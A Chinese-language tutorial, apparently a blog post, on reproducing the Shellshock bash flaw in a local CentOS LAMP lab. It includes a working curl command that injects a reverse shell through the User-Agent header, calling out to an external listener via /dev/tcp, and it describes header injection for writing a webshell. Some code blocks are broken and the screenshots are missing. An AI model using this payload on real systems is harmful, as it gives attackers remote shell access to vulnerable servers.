这个漏洞是很早之前的漏洞了.这里就不在分析漏洞产生的原理.讲一下如何测试.
本地测试环境 centos6.0 bash 版本 4.1.2(1)-release(x86_64-unknow-linux-gnu) 环境是用的lamp.
首先本地测试有没有存在bash漏洞.


存在漏洞.
接着修改apache配置文件,使得cgi脚本在Web端可以执行.
将前面的#号去掉.


接着关闭SElinux.
1
vi /etc/sysyconfig/selinux


检查是否关闭.

关闭SElinux主要是因为它与apache的安全机制存在冲突.
接着在/var/www/cgi-bin/目录下放置cgi脚本用于测试.
0x01反弹shell的poc
创建文件名为poc.cgi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '' echo ''
echo ''
echo 'PoC'
echo '' echo ''
echo '
<pre>'
/usr/bin/env
echo '</pre>
'
echo '

' echo ''
exit 0

Web端访问测试.

访问成功.
接下来用远程监听,来达到反弹shell的目的.

1
curl -A "() { :; }; /bin/bash -i > /dev/tcp/xx.xxx.xx.xxx/12666 0<&1 2>&1" http://192.168.159.131/cgi-bin/poc.cgi


xxx.xxx.xxx.xxx 代表外网的IP,就是正在监听端口的那个IP.

反弹shell成功.

不过要想写文件啥的,还得看权限支不支持.
0x02注入拿shell
用User-Agent注入
写入bug脚本文件
[cc lang=”bash”]

#!/bin/bash
echo “Content-type: text/html”
echo “”
echo “” echo “”
[/cc]
Web端测试.
访问为一片空白.
用BurpSuite抓包进行User-Agent注入.

这里注入是存在对php的过滤机制.进而需要用转义符号.

同理,可以将一句话写入文件,从而拿到shell.
其实其它的头部也是存在注入的,比如Referer..

Referer、UserAgent、header等参数作为环境变量的设置源都可以进行注入。